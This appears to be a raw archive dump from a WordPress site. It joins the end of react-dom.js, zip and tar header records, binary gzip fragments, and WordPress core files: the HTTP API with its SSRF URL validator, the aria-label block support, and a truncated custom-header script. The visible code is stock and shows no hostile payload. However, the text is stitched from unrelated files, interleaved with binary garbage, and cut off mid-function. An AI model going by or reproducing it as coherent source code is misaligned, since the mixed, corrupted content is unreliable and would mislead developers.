  exports.findDOMNode = findDOMNode;
  exports.flushSync = flushSync$1;
  exports.hydrate = hydrate;
  exports.hydrateRoot = hydrateRoot$1;
  exports.render = render;
  exports.unmountComponentAtNode = unmountComponentAtNode;
  exports.unstable_batchedUpdates = batchedUpdates$1;
  exports.unstable_renderSubtreeIntoContainer = renderSubtreeIntoContainer;
  exports.version = ReactVersion;

})));
PKGfd[R�{���wp-polyfill-url.min.jsnu�[���PKGfd[�d���)�wp-polyfill.min.jsnu�[���PKGfd[Z�y���Yreact-jsx-runtime.min.jsnu�[���PKGfd[�fYh  V]wp-polyfill-inert.min.jsnu�[���PKGfd[�xyLvv�}wp-polyfill-inert.jsnu�[���PKGfd[���xbMbM	�lodash.jsnu�[���PKGfd[p�ֵgMgM�A
wp-polyfill-fetch.jsnu�[���PKGfd[�|X�����F�
react-jsx-runtime.jsnu�[���PKGfd[qc�F"F"6Hwp-polyfill-formdata.min.jsnu�[���PKGfd[�^���)�)�jreact.min.jsnu�[���PKGfd[�eG�������react-dom.min.jsnu�[���PKGfd[po2K��"y�
wp-polyfill-element-closest.min.jsnu�[���PKGfd[��FՃ�t�
wp-polyfill-node-contains.jsnu�[���PKGfd[:�y\\C�
wp-polyfill-dom-rect.min.jsnu�[���PKGfd[Sd�b.b.�
wp-polyfill-formdata.jsnu�[���PKGfd[�Z33
��
lodash.min.jsnu�[���PKGfd[��5��$�react-jsx-runtime.min.js.LICENSE.txtnu�[���PKGfd[�Q����P�wp-polyfill-url.jsnu�[���PKGfd[z���k�k���react.jsnu�[���PKGfd[[��16wp-polyfill-object-fit.min.jsnu�[���PKGfd[zf�3�3�	Bmoment.jsnu�[���PKGfd[T��\\ ��wp-polyfill-node-contains.min.jsnu�[���PKGfd[���''5�wp-polyfill-fetch.min.jsnu�[���PKGfd[A����#�#�wp-polyfill-object-fit.jsnu�[���PKGfd[1	�e���@regenerator-runtime.min.jsnu�[���PKGfd[�P8����Zwp-polyfill.jsnu�[���PKGfd[8�9j��rwp-polyfill-dom-rect.jsnu�[���PKGfd[Q�0h�b�b�yregenerator-runtime.jsnu�[���PKGfd[�T������
��moment.min.jsnu�[���PKGfd[[R�����wp-polyfill-element-closest.jsnu�[���PKGfd[�*b�{�{��react-dom.jsnu�[���PKR
�@)14338/http.php.tar000064400000065000151024420100007471 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/http.php000064400000061340151024200210023033 0ustar00<?php
/**
 * Core HTTP Request API
 *
 * Standardizes the HTTP requests for WordPress. Handles cookies, gzip encoding and decoding, chunk
 * decoding, if HTTP 1.1 and various other difficult HTTP protocol implementations.
 *
 * @package WordPress
 * @subpackage HTTP
 */

/**
 * Returns the initialized WP_Http Object
 *
 * @since 2.7.0
 * @access private
 *
 * @return WP_Http HTTP Transport object.
 */
function _wp_http_get_object() {
	static $http = null;

	if ( is_null( $http ) ) {
		$http = new WP_Http();
	}
	return $http;
}

/**
 * Retrieves the raw response from a safe HTTP request.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
 * to avoid Server Side Request Forgery attacks (SSRF).
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 * @see wp_http_validate_url() For more information about how the URL is validated.
 *
 * @link https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 *                        See WP_Http::request() for information on return value.
 */
function wp_safe_remote_request( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->request( $url, $args );
}

/**
 * Retrieves the raw response from a safe HTTP request using the GET method.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
 * to avoid Server Side Request Forgery attacks (SSRF).
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 * @see wp_http_validate_url() For more information about how the URL is validated.
 *
 * @link https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 *                        See WP_Http::request() for information on return value.
 */
function wp_safe_remote_get( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->get( $url, $args );
}

/**
 * Retrieves the raw response from a safe HTTP request using the POST method.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
 * to avoid Server Side Request Forgery attacks (SSRF).
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 * @see wp_http_validate_url() For more information about how the URL is validated.
 *
 * @link https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 *                        See WP_Http::request() for information on return value.
 */
function wp_safe_remote_post( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->post( $url, $args );
}

/**
 * Retrieves the raw response from a safe HTTP request using the HEAD method.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
 * to avoid Server Side Request Forgery attacks (SSRF).
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 * @see wp_http_validate_url() For more information about how the URL is validated.
 *
 * @link https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 *                        See WP_Http::request() for information on return value.
 */
function wp_safe_remote_head( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->head( $url, $args );
}

/**
 * Performs an HTTP request and returns its response.
 *
 * There are other API functions available which abstract away the HTTP method:
 *
 *  - Default 'GET'  for wp_remote_get()
 *  - Default 'POST' for wp_remote_post()
 *  - Default 'HEAD' for wp_remote_head()
 *
 * @since 2.7.0
 *
 * @see WP_Http::request() For information on default arguments.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response array or a WP_Error on failure.
 *                        See WP_Http::request() for information on return value.
 */
function wp_remote_request( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->request( $url, $args );
}

/**
 * Performs an HTTP request using the GET method and returns its response.
 *
 * @since 2.7.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 *                        See WP_Http::request() for information on return value.
 */
function wp_remote_get( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->get( $url, $args );
}

/**
 * Performs an HTTP request using the POST method and returns its response.
 *
 * @since 2.7.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 *                        See WP_Http::request() for information on return value.
 */
function wp_remote_post( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->post( $url, $args );
}

/**
 * Performs an HTTP request using the HEAD method and returns its response.
 *
 * @since 2.7.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 *                        See WP_Http::request() for information on return value.
 */
function wp_remote_head( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->head( $url, $args );
}

/**
 * Retrieves only the headers from the raw response.
 *
 * @since 2.7.0
 * @since 4.6.0 Return value changed from an array to an WpOrg\Requests\Utility\CaseInsensitiveDictionary instance.
 *
 * @see \WpOrg\Requests\Utility\CaseInsensitiveDictionary
 *
 * @param array|WP_Error $response HTTP response.
 * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|array The headers of the response, or empty array
 *                                                                 if incorrect parameter given.
 */
function wp_remote_retrieve_headers( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
		return array();
	}

	return $response['headers'];
}

/**
 * Retrieves a single header by name from the raw response.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @param string         $header   Header name to retrieve value from.
 * @return array|string The header(s) value(s). Array if multiple headers with the same name are retrieved.
 *                      Empty string if incorrect parameter given, or if the header doesn't exist.
 */
function wp_remote_retrieve_header( $response, $header ) {
	if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
		return '';
	}

	if ( isset( $response['headers'][ $header ] ) ) {
		return $response['headers'][ $header ];
	}

	return '';
}

/**
 * Retrieves only the response code from the raw response.
 *
 * Will return an empty string if incorrect parameter value is given.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return int|string The response code as an integer. Empty string if incorrect parameter given.
 */
function wp_remote_retrieve_response_code( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) {
		return '';
	}

	return $response['response']['code'];
}

/**
 * Retrieves only the response message from the raw response.
 *
 * Will return an empty string if incorrect parameter value is given.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return string The response message. Empty string if incorrect parameter given.
 */
function wp_remote_retrieve_response_message( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) {
		return '';
	}

	return $response['response']['message'];
}

/**
 * Retrieves only the body from the raw response.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return string The body of the response. Empty string if no body or incorrect parameter given.
 */
function wp_remote_retrieve_body( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['body'] ) ) {
		return '';
	}

	return $response['body'];
}

/**
 * Retrieves only the cookies from the raw response.
 *
 * @since 4.4.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return WP_Http_Cookie[] An array of `WP_Http_Cookie` objects from the response.
 *                          Empty array if there are none, or the response is a WP_Error.
 */
function wp_remote_retrieve_cookies( $response ) {
	if ( is_wp_error( $response ) || empty( $response['cookies'] ) ) {
		return array();
	}

	return $response['cookies'];
}

/**
 * Retrieves a single cookie by name from the raw response.
 *
 * @since 4.4.0
 *
 * @param array|WP_Error $response HTTP response.
 * @param string         $name     The name of the cookie to retrieve.
 * @return WP_Http_Cookie|string The `WP_Http_Cookie` object, or empty string
 *                               if the cookie is not present in the response.
 */
function wp_remote_retrieve_cookie( $response, $name ) {
	$cookies = wp_remote_retrieve_cookies( $response );

	if ( empty( $cookies ) ) {
		return '';
	}

	foreach ( $cookies as $cookie ) {
		if ( $cookie->name === $name ) {
			return $cookie;
		}
	}

	return '';
}

/**
 * Retrieves a single cookie's value by name from the raw response.
 *
 * @since 4.4.0
 *
 * @param array|WP_Error $response HTTP response.
 * @param string         $name     The name of the cookie to retrieve.
 * @return string The value of the cookie, or empty string
 *                if the cookie is not present in the response.
 */
function wp_remote_retrieve_cookie_value( $response, $name ) {
	$cookie = wp_remote_retrieve_cookie( $response, $name );

	if ( ! ( $cookie instanceof WP_Http_Cookie ) ) {
		return '';
	}

	return $cookie->value;
}

/**
 * Determines if there is an HTTP Transport that can process this request.
 *
 * @since 3.2.0
 *
 * @param array  $capabilities Array of capabilities to test or a wp_remote_request() $args array.
 * @param string $url          Optional. If given, will check if the URL requires SSL and adds
 *                             that requirement to the capabilities array.
 *
 * @return bool
 */
function wp_http_supports( $capabilities = array(), $url = null ) {
	$capabilities = wp_parse_args( $capabilities );

	$count = count( $capabilities );

	// If we have a numeric $capabilities array, spoof a wp_remote_request() associative $args array.
	if ( $count && count( array_filter( array_keys( $capabilities ), 'is_numeric' ) ) === $count ) {
		$capabilities = array_combine( array_values( $capabilities ), array_fill( 0, $count, true ) );
	}

	if ( $url && ! isset( $capabilities['ssl'] ) ) {
		$scheme = parse_url( $url, PHP_URL_SCHEME );
		if ( 'https' === $scheme || 'ssl' === $scheme ) {
			$capabilities['ssl'] = true;
		}
	}

	return WpOrg\Requests\Requests::has_capabilities( $capabilities );
}

/**
 * Gets the HTTP Origin of the current request.
 *
 * @since 3.4.0
 *
 * @return string URL of the origin. Empty string if no origin.
 */
function get_http_origin() {
	$origin = '';
	if ( ! empty( $_SERVER['HTTP_ORIGIN'] ) ) {
		$origin = $_SERVER['HTTP_ORIGIN'];
	}

	/**
	 * Changes the origin of an HTTP request.
	 *
	 * @since 3.4.0
	 *
	 * @param string $origin The original origin for the request.
	 */
	return apply_filters( 'http_origin', $origin );
}

/**
 * Retrieves list of allowed HTTP origins.
 *
 * @since 3.4.0
 *
 * @return string[] Array of origin URLs.
 */
function get_allowed_http_origins() {
	$admin_origin = parse_url( admin_url() );
	$home_origin  = parse_url( home_url() );

	// @todo Preserve port?
	$allowed_origins = array_unique(
		array(
			'http://' . $admin_origin['host'],
			'https://' . $admin_origin['host'],
			'http://' . $home_origin['host'],
			'https://' . $home_origin['host'],
		)
	);

	/**
	 * Changes the origin types allowed for HTTP requests.
	 *
	 * @since 3.4.0
	 *
	 * @param string[] $allowed_origins {
	 *     Array of default allowed HTTP origins.
	 *
	 *     @type string $0 Non-secure URL for admin origin.
	 *     @type string $1 Secure URL for admin origin.
	 *     @type string $2 Non-secure URL for home origin.
	 *     @type string $3 Secure URL for home origin.
	 * }
	 */
	return apply_filters( 'allowed_http_origins', $allowed_origins );
}

/**
 * Determines if the HTTP origin is an authorized one.
 *
 * @since 3.4.0
 *
 * @param string|null $origin Origin URL. If not provided, the value of get_http_origin() is used.
 * @return string Origin URL if allowed, empty string if not.
 */
function is_allowed_http_origin( $origin = null ) {
	$origin_arg = $origin;

	if ( null === $origin ) {
		$origin = get_http_origin();
	}

	if ( $origin && ! in_array( $origin, get_allowed_http_origins(), true ) ) {
		$origin = '';
	}

	/**
	 * Changes the allowed HTTP origin result.
	 *
	 * @since 3.4.0
	 *
	 * @param string $origin     Origin URL if allowed, empty string if not.
	 * @param string $origin_arg Original origin string passed into is_allowed_http_origin function.
	 */
	return apply_filters( 'allowed_http_origin', $origin, $origin_arg );
}

/**
 * Sends Access-Control-Allow-Origin and related headers if the current request
 * is from an allowed origin.
 *
 * If the request is an OPTIONS request, the script exits with either access
 * control headers sent, or a 403 response if the origin is not allowed. For
 * other request methods, you will receive a return value.
 *
 * @since 3.4.0
 *
 * @return string|false Returns the origin URL if headers are sent. Returns false
 *                      if headers are not sent.
 */
function send_origin_headers() {
	$origin = get_http_origin();

	if ( is_allowed_http_origin( $origin ) ) {
		header( 'Access-Control-Allow-Origin: ' . $origin );
		header( 'Access-Control-Allow-Credentials: true' );
		if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
			exit;
		}
		return $origin;
	}

	if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
		status_header( 403 );
		exit;
	}

	return false;
}

/**
 * Validates a URL for safe use in the HTTP API.
 *
 * Examples of URLs that are considered unsafe:
 *
 * - ftp://example.com/caniload.php - Invalid protocol - only http and https are allowed.
 * - http:///example.com/caniload.php - Malformed URL.
 * - http://user:pass@example.com/caniload.php - Login information.
 * - http://example.invalid/caniload.php - Invalid hostname, as the IP cannot be looked up in DNS.
 *
 * Examples of URLs that are considered unsafe by default:
 *
 * - http://192.168.0.1/caniload.php - IPs from LAN networks.
 *   This can be changed with the {@see 'http_request_host_is_external'} filter.
 * - http://198.143.164.252:81/caniload.php - By default, only 80, 443, and 8080 ports are allowed.
 *   This can be changed with the {@see 'http_allowed_safe_ports'} filter.
 *
 * @since 3.5.2
 *
 * @param string $url Request URL.
 * @return string|false URL or false on failure.
 */
function wp_http_validate_url( $url ) {
	if ( ! is_string( $url ) || '' === $url || is_numeric( $url ) ) {
		return false;
	}

	$original_url = $url;
	$url          = wp_kses_bad_protocol( $url, array( 'http', 'https' ) );
	if ( ! $url || strtolower( $url ) !== strtolower( $original_url ) ) {
		return false;
	}

	$parsed_url = parse_url( $url );
	if ( ! $parsed_url || empty( $parsed_url['host'] ) ) {
		return false;
	}

	if ( isset( $parsed_url['user'] ) || isset( $parsed_url['pass'] ) ) {
		return false;
	}

	if ( false !== strpbrk( $parsed_url['host'], ':#?[]' ) ) {
		return false;
	}

	$parsed_home = parse_url( get_option( 'home' ) );
	$same_host   = isset( $parsed_home['host'] ) && strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] );
	$host        = trim( $parsed_url['host'], '.' );

	if ( ! $same_host ) {
		if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', $host ) ) {
			$ip = $host;
		} else {
			$ip = gethostbyname( $host );
			if ( $ip === $host ) { // Error condition for gethostbyname().
				return false;
			}
		}
		if ( $ip ) {
			$parts = array_map( 'intval', explode( '.', $ip ) );
			if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
				|| ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
				|| ( 192 === $parts[0] && 168 === $parts[1] )
			) {
				// If host appears local, reject unless specifically allowed.
				/**
				 * Checks if HTTP request is external or not.
				 *
				 * Allows to change and allow external requests for the HTTP request.
				 *
				 * @since 3.6.0
				 *
				 * @param bool   $external Whether HTTP request is external or not.
				 * @param string $host     Host name of the requested URL.
				 * @param string $url      Requested URL.
				 */
				if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) ) {
					return false;
				}
			}
		}
	}

	if ( empty( $parsed_url['port'] ) ) {
		return $url;
	}

	$port = $parsed_url['port'];

	/**
	 * Controls the list of ports considered safe in HTTP API.
	 *
	 * Allows to change and allow external requests for the HTTP request.
	 *
	 * @since 5.9.0
	 *
	 * @param int[]  $allowed_ports Array of integers for valid ports.
	 * @param string $host          Host name of the requested URL.
	 * @param string $url           Requested URL.
	 */
	$allowed_ports = apply_filters( 'http_allowed_safe_ports', array( 80, 443, 8080 ), $host, $url );
	if ( is_array( $allowed_ports ) && in_array( $port, $allowed_ports, true ) ) {
		return $url;
	}

	if ( $parsed_home && $same_host && isset( $parsed_home['port'] ) && $parsed_home['port'] === $port ) {
		return $url;
	}

	return false;
}

/**
 * Marks allowed redirect hosts safe for HTTP requests as well.
 *
 * Attached to the {@see 'http_request_host_is_external'} filter.
 *
 * @since 3.6.0
 *
 * @param bool   $is_external
 * @param string $host
 * @return bool
 */
function allowed_http_request_hosts( $is_external, $host ) {
	if ( ! $is_external && wp_validate_redirect( 'http://' . $host ) ) {
		$is_external = true;
	}
	return $is_external;
}

/**
 * Adds any domain in a multisite installation for safe HTTP requests to the
 * allowed list.
 *
 * Attached to the {@see 'http_request_host_is_external'} filter.
 *
 * @since 3.6.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool   $is_external
 * @param string $host
 * @return bool
 */
function ms_allowed_http_request_hosts( $is_external, $host ) {
	global $wpdb;
	static $queried = array();
	if ( $is_external ) {
		return $is_external;
	}
	if ( get_network()->domain === $host ) {
		return true;
	}
	if ( isset( $queried[ $host ] ) ) {
		return $queried[ $host ];
	}
	$queried[ $host ] = (bool) $wpdb->get_var( $wpdb->prepare( "SELECT domain FROM $wpdb->blogs WHERE domain = %s LIMIT 1", $host ) );
	return $queried[ $host ];
}

/**
 * A wrapper for PHP's parse_url() function that handles consistency in the return values
 * across PHP versions.
 *
 * Across various PHP versions, schemeless URLs containing a ":" in the query
 * are being handled inconsistently. This function works around those differences.
 *
 * @since 4.4.0
 * @since 4.7.0 The `$component` parameter was added for parity with PHP's `parse_url()`.
 *
 * @link https://www.php.net/manual/en/function.parse-url.php
 *
 * @param string $url       The URL to parse.
 * @param int    $component The specific component to retrieve. Use one of the PHP
 *                          predefined constants to specify which one.
 *                          Defaults to -1 (= return all parts as an array).
 * @return mixed False on parse failure; Array of URL components on success;
 *               When a specific component has been requested: null if the component
 *               doesn't exist in the given URL; a string or - in the case of
 *               PHP_URL_PORT - integer when it does. See parse_url()'s return values.
 */
function wp_parse_url( $url, $component = -1 ) {
	$to_unset = array();
	$url      = (string) $url;

	if ( str_starts_with( $url, '//' ) ) {
		$to_unset[] = 'scheme';
		$url        = 'placeholder:' . $url;
	} elseif ( str_starts_with( $url, '/' ) ) {
		$to_unset[] = 'scheme';
		$to_unset[] = 'host';
		$url        = 'placeholder://placeholder' . $url;
	}

	$parts = parse_url( $url );

	if ( false === $parts ) {
		// Parsing failure.
		return $parts;
	}

	// Remove the placeholder values.
	foreach ( $to_unset as $key ) {
		unset( $parts[ $key ] );
	}

	return _get_component_from_parsed_url_array( $parts, $component );
}

/**
 * Retrieves a specific component from a parsed URL array.
 *
 * @internal
 *
 * @since 4.7.0
 * @access private
 *
 * @link https://www.php.net/manual/en/function.parse-url.php
 *
 * @param array|false $url_parts The parsed URL. Can be false if the URL failed to parse.
 * @param int         $component The specific component to retrieve. Use one of the PHP
 *                               predefined constants to specify which one.
 *                               Defaults to -1 (= return all parts as an array).
 * @return mixed False on parse failure; Array of URL components on success;
 *               When a specific component has been requested: null if the component
 *               doesn't exist in the given URL; a string or - in the case of
 *               PHP_URL_PORT - integer when it does. See parse_url()'s return values.
 */
function _get_component_from_parsed_url_array( $url_parts, $component = -1 ) {
	if ( -1 === $component ) {
		return $url_parts;
	}

	$key = _wp_translate_php_url_constant_to_key( $component );
	if ( false !== $key && is_array( $url_parts ) && isset( $url_parts[ $key ] ) ) {
		return $url_parts[ $key ];
	} else {
		return null;
	}
}

/**
 * Translates a PHP_URL_* constant to the named array keys PHP uses.
 *
 * @internal
 *
 * @since 4.7.0
 * @access private
 *
 * @link https://www.php.net/manual/en/url.constants.php
 *
 * @param int $constant PHP_URL_* constant.
 * @return string|false The named key or false.
 */
function _wp_translate_php_url_constant_to_key( $constant ) {
	$translation = array(
		PHP_URL_SCHEME   => 'scheme',
		PHP_URL_HOST     => 'host',
		PHP_URL_PORT     => 'port',
		PHP_URL_USER     => 'user',
		PHP_URL_PASS     => 'pass',
		PHP_URL_PATH     => 'path',
		PHP_URL_QUERY    => 'query',
		PHP_URL_FRAGMENT => 'fragment',
	);

	if ( isset( $translation[ $constant ] ) ) {
		return $translation[ $constant ];
	} else {
		return false;
	}
}
14338/require-static-blocks.php.php.tar.gz000064400000000651151024420100014134 0ustar00��S���0�|�9-�l���l0�?0���(��c���%�bw�8{�;=Y��l=O4c30��pq�f3c��P[gܘ|H�@��)��l5�ͳ���6��Β>���c"D�벺���v���q�;v7���;���C�oO�~8����q�/ I�,��B�
��RU5��6��cQ=CP�"��������:g�E�&,N���,��{xT=)GQ�	܈j����Z�+��N��ʁMV�2�TQ�<x�9M�/�ф(�rۊs9̰|��=@�
=<
�R��B�z��f���|��-����;���9���l����J��X6�&�(�K��8�=�%�02��D��C�79���$�e�/p=�KDڀ��q��o���
��
�ȡ�����>~������7��AEti14338/file.php.php.tar.gz000064400000001622151024420100010636 0ustar00��UQo�6�+.@Zف%9��
M�E7�@Y�<C�'��D�$���w�d�N��eh��ؼ��w?ge�q��ܤ_T�hY�IPa�#WR-���iZ��IY+������U(U��M<����ĩ�1����>��N&{�ɞM�Ǐ�O��O'OO~���9};=��^���jc���?���^����㣣>��oP�F
�J�&@�����R�_���G��^W<����R�Q��i�_�^f���4�2#H2tg),�[�/5����|^�0���+0D��v�"&�I�k4�t�y\k��Cn���ڢ�Bm:�F[I�PRR*��:�MR{��q9co��	�u�
]iwpm�պ̹�e�]���i�+KՎ���f��<�7m:��^��
H:֜�np�3�f�P�������!5�N��3��������!M��Q��&��j��e��J��š*^/�4�#M#%a.���I�q`x�'��J�	ŕ�ď�������_���7غ��NV�R�W�,_�xZ�݄�����\7�`AG��_�!(�i^{b�+3�J�a&�@���&Y�2nf"]��p�մ�vj�]��L��v��V>ג�9�c�.F�`����pO�@0{�;��(8�N7n��5rS�m:��^|D�sernKm��c��C#�(�1j�7W�)�cQ�#��ҏ!<��Y3z
V4x�vM6����!GKG$����5�M2z%��S]�ٔ�E��m͞o��4܊�����e��=��Q�:�}g�o���Bb��G�IX���{�tG��;�_�-�]U�y�-w�w�f��s� ��yPn�^�=�V���s�w	`�����S����ݖ$�q�%�T*R����߯���~�{��I�+a�14338/aria-label.php.tar000064400000007000151024420100010477 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php000064400000003113151024313210027033 0ustar00<?php
/**
 * Aria label block support flag.
 *
 * @package WordPress
 * @since 6.8.0
 */

/**
 * Registers the aria-label block attribute for block types that support it.
 *
 * @since 6.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_aria_label_support( $block_type ) {
	$has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false );

	if ( ! $has_aria_label_support ) {
		return;
	}

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( ! array_key_exists( 'ariaLabel', $block_type->attributes ) ) {
		$block_type->attributes['ariaLabel'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Add the aria-label to the output.
 *
 * @since 6.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 *
 * @return array Block aria-label.
 */
function wp_apply_aria_label_support( $block_type, $block_attributes ) {
	if ( ! $block_attributes ) {
		return array();
	}

	$has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false );
	if ( ! $has_aria_label_support ) {
		return array();
	}

	$has_aria_label = array_key_exists( 'ariaLabel', $block_attributes );
	if ( ! $has_aria_label ) {
		return array();
	}
	return array( 'aria-label' => $block_attributes['ariaLabel'] );
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'aria-label',
	array(
		'register_attribute' => 'wp_register_aria_label_support',
		'apply'              => 'wp_apply_aria_label_support',
	)
);
14338/wp-custom-header.min.js.tar000064400000014000151024420100012277 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/wp-custom-header.min.js000064400000010532151024227040026272 0ustar00/*! This file is auto-generated */
!function(i,t){var e,n;function a(e,t){var n;"function"==typeof i.Event?n=new Event(t):(n=document.createEvent("Event")).initEvent(t,!0,!0),e.dispatchEvent(n)}function o(){this.handlers={nativeVideo:new e,youtube:new n}}function s(){}i.wp=i.wp||{},"addEventListener"in i&&(o.prototype={initialize:function(){if(this.supportsVideo())for(var e in this.handlers){e=this.handlers[e];if("test"in e&&e.test(t)){this.activeHandler=e.initialize.call(e,t),a(document,"wp-custom-header-video-loaded");break}}},supportsVideo:function(){return!(i.innerWidth<t.minWidth||i.innerHeight<t.minHeight)},BaseVideoHandler:s},s.prototype={initialize:function(e){var t=this,n=document.createElement("button");this.settings=e,this.container=document.getElementById("wp-custom-header"),(this.button=n).setAttribute("type","button"),n.setAttribute("id","wp-custom-header-video-button"),n.setAttribute("class","wp-custom-header-video-button wp-custom-header-video-play"),n.innerHTML=e.l10n.play,n.addEventListener("click",function(){t.isPaused()?t.play():t.pause()}),this.container.addEventListener("play",function(){n.className="wp-custom-header-video-button wp-custom-header-video-play",n.innerHTML=e.l10n.pause,"a11y"in i.wp&&i.wp.a11y.speak(e.l10n.playSpeak)}),this.container.addEventListener("pause",function(){n.className="wp-custom-header-video-button wp-custom-header-video-pause",n.innerHTML=e.l10n.play,"a11y"in i.wp&&i.wp.a11y.speak(e.l10n.pauseSpeak)}),this.ready()},ready:function(){},isPaused:function(){},pause:function(){},play:function(){},setVideo:function(e){var t,n=this.container.getElementsByClassName("customize-partial-edit-shortcut");n.length&&(t=this.container.removeChild(n[0])),this.container.innerHTML="",this.container.appendChild(e),t&&this.container.appendChild(t)},showControls:function(){this.container.contains(this.button)||this.container.appendChild(this.button)},test:function(){return!1},trigger:function(e){a(this.container,e)}},e=(s.extend=function(e){function t(){return s.apply(this,arguments)}for(var n in(t.prototype=Object.create(s.prototype)).constructor=t,e)t.prototype[n]=e[n];return t})({test:function(e){return document.createElement("video").canPlayType(e.mimeType)},ready:function(){var e=this,t=document.createElement("video");t.id="wp-custom-header-video",t.autoplay=!0,t.loop=!0,t.muted=!0,t.playsInline=!0,t.width=this.settings.width,t.height=this.settings.height,t.addEventListener("play",function(){e.trigger("play")}),t.addEventListener("pause",function(){e.trigger("pause")}),t.addEventListener("canplay",function(){e.showControls()}),this.video=t,e.setVideo(t),t.src=this.settings.videoUrl},isPaused:function(){return this.video.paused},pause:function(){this.video.pause()},play:function(){this.video.play()}}),n=s.extend({test:function(e){return"video/x-youtube"===e.mimeType},ready:function(){var e,t=this;"YT"in i?YT.ready(t.loadVideo.bind(t)):((e=document.createElement("script")).src="https://www.youtube.com/iframe_api",e.onload=function(){YT.ready(t.loadVideo.bind(t))},document.getElementsByTagName("head")[0].appendChild(e))},loadVideo:function(){var 